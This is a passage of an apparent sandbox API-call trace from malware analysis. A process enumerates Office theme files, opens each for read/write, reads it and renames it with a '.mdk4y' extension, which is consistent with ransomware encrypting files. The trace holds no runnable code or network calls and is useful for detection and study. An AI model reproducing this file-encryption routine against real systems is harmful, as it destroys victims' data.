lpMultiByteStr="Clarity.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.173] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.174] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825140400000) returned 1 [0176.174] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x105f4, lpOverlapped=0x0) returned 1 [0176.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825142000000) returned 1 [0176.190] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825142000000) returned 1 [0176.191] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Clarity.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\clarity.thmx.mdk4y")) returned 1 [0176.192] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.192] AreFileApisANSI () returned 1 [0176.192] GetACP () returned 0x4e4 [0176.192] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Composite.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Composite.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.192] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.193] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825142300000) returned 1 [0176.193] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x8ad4d, lpOverlapped=0x0) returned 1 [0176.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825144100000) returned 1 [0176.211] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825144100000) returned 1 [0176.215] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Composite.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\composite.thmx.mdk4y")) returned 1 [0176.216] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.216] AreFileApisANSI () returned 1 [0176.216] GetACP () returned 0x4e4 [0176.216] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Concourse.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Concourse.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.217] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.218] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825144800000) returned 1 [0176.218] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x1240d, lpOverlapped=0x0) returned 1 [0176.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825146900000) returned 1 [0176.239] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825146900000) returned 1 [0176.240] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Concourse.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\concourse.thmx.mdk4y")) returned 1 [0176.241] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.241] AreFileApisANSI () returned 1 [0176.241] GetACP () returned 0x4e4 [0176.241] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Couture.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Couture.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.241] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.242] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825147200000) returned 1 [0176.242] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100000, lpOverlapped=0x0) returned 1 [0176.270] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825150000000) returned 1 [0176.271] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825150100000) returned 1 [0176.286] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Couture.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\couture.thmx.mdk4y")) returned 1 [0176.288] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.288] AreFileApisANSI () returned 1 [0176.288] GetACP () returned 0x4e4 [0176.288] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Elemental.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Elemental.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.288] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.289] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825151900000) returned 1 [0176.289] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x555df, lpOverlapped=0x0) returned 1 [0176.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825155800000) returned 1 [0176.328] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825155800000) returned 1 [0176.331] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Elemental.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\elemental.thmx.mdk4y")) returned 1 [0176.332] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.332] AreFileApisANSI () returned 1 [0176.332] GetACP () returned 0x4e4 [0176.332] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Equity.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Equity.thmxhmx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.332] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.334] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825156300000) returned 1 [0176.334] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x10f61, lpOverlapped=0x0) returned 1 [0176.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825157400000) returned 1 [0176.344] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825157400000) returned 1 [0176.346] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Equity.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\equity.thmx.mdk4y")) returned 1 [0176.347] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.347] AreFileApisANSI () returned 1 [0176.347] GetACP () returned 0x4e4 [0176.347] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Essential.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Essential.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.347] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.348] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825157800000) returned 1 [0176.348] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xc278, lpOverlapped=0x0) returned 1 [0176.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825159000000) returned 1 [0176.360] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825159000000) returned 1 [0176.360] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Essential.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\essential.thmx.mdk4y")) returned 1 [0176.361] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.361] AreFileApisANSI () returned 1 [0176.361] GetACP () returned 0x4e4 [0176.361] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Executive.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Executive.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.362] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.363] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825159300000) returned 1 [0176.363] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd748, lpOverlapped=0x0) returned 1 [0176.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825160100000) returned 1 [0176.371] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825160100000) returned 1 [0176.371] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Executive.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\executive.thmx.mdk4y")) returned 1 [0176.372] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.372] AreFileApisANSI () returned 1 [0176.372] GetACP () returned 0x4e4 [0176.372] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Flow.thmx", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Flow.thmx.thmx", lpUsedDefaultChar=0x37dfd8) returned 9 [0176.372] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.373] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825160300000) returned 1 [0176.374] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x100a8, lpOverlapped=0x0) returned 1 [0176.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825160700000) returned 1 [0176.377] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825160700000) returned 1 [0176.378] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Flow.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\flow.thmx.mdk4y")) returned 1 [0176.379] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.379] AreFileApisANSI () returned 1 [0176.379] GetACP () returned 0x4e4 [0176.379] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Foundry.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Foundry.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.379] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.380] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825161000000) returned 1 [0176.380] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xf814, lpOverlapped=0x0) returned 1 [0176.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825162000000) returned 1 [0176.390] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825162000000) returned 1 [0176.391] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Foundry.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\foundry.thmx.mdk4y")) returned 1 [0176.393] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.393] AreFileApisANSI () returned 1 [0176.393] GetACP () returned 0x4e4 [0176.393] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Grid.thmx", cchWideChar=9, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Grid.thmxhmx", lpUsedDefaultChar=0x37dfd8) returned 9 [0176.393] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.394] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825162400000) returned 1 [0176.394] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0xd2e0, lpOverlapped=0x0) returned 1 [0176.457] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825168700000) returned 1 [0176.458] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825168800000) returned 1 [0176.459] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Grid.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\grid.thmx.mdk4y")) returned 1 [0176.460] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.460] AreFileApisANSI () returned 1 [0176.460] GetACP () returned 0x4e4 [0176.460] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Hardcover.thmx", cchWideChar=14, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Hardcover.thmx", lpUsedDefaultChar=0x37dfd8) returned 14 [0176.461] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.462] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825169200000) returned 1 [0176.462] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x60041, lpOverlapped=0x0) returned 1 [0176.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825171000000) returned 1 [0176.480] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825171000000) returned 1 [0176.487] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Hardcover.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\hardcover.thmx.mdk4y")) returned 1 [0176.491] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.491] AreFileApisANSI () returned 1 [0176.491] GetACP () returned 0x4e4 [0176.491] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Horizon.thmx", cchWideChar=12, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Horizon.thmxmx", lpUsedDefaultChar=0x37dfd8) returned 12 [0176.491] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.494] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825172400000) returned 1 [0176.494] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x3becb, lpOverlapped=0x0) returned 1 [0176.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825172500000) returned 1 [0176.496] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825172600000) returned 1 [0176.498] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Horizon.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\horizon.thmx.mdk4y")) returned 1 [0176.499] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.499] AreFileApisANSI () returned 1 [0176.499] GetACP () returned 0x4e4 [0176.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Median.thmx", cchWideChar=11, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Median.thmxx", lpUsedDefaultChar=0x37dfd8) returned 11 [0176.499] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.500] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825173000000) returned 1 [0176.500] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x146a7, lpOverlapped=0x0) returned 1 [0176.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825174600000) returned 1 [0176.517] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825174700000) returned 1 [0176.518] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Median.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\median.thmx.mdk4y")) returned 1 [0176.520] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 [0176.520] AreFileApisANSI () returned 1 [0176.520] GetACP () returned 0x4e4 [0176.520] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Metro.thmx", cchWideChar=10, lpMultiByteStr=0x6ad724, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="Metro.thmxx", lpUsedDefaultChar=0x37dfd8) returned 10 [0176.520] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x12c [0176.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825175100000) returned 1 [0176.521] ReadFile (in: hFile=0x12c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dfd8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dfd8*=0x13af1, lpOverlapped=0x0) returned 1 [0176.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825178000000) returned 1 [0176.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37df70 | out: lpPerformanceCount=0x37df70*=1825178000000) returned 1 [0176.551] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Metro.thmx.mdk4y" (normalized: "c:\\program files\\microsoft office\\document themes 14\\metro.thmx.mdk4y")) returned 1 [0176.553] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7d00 | out: lpFindFileData=0x6b7d00) returned 1 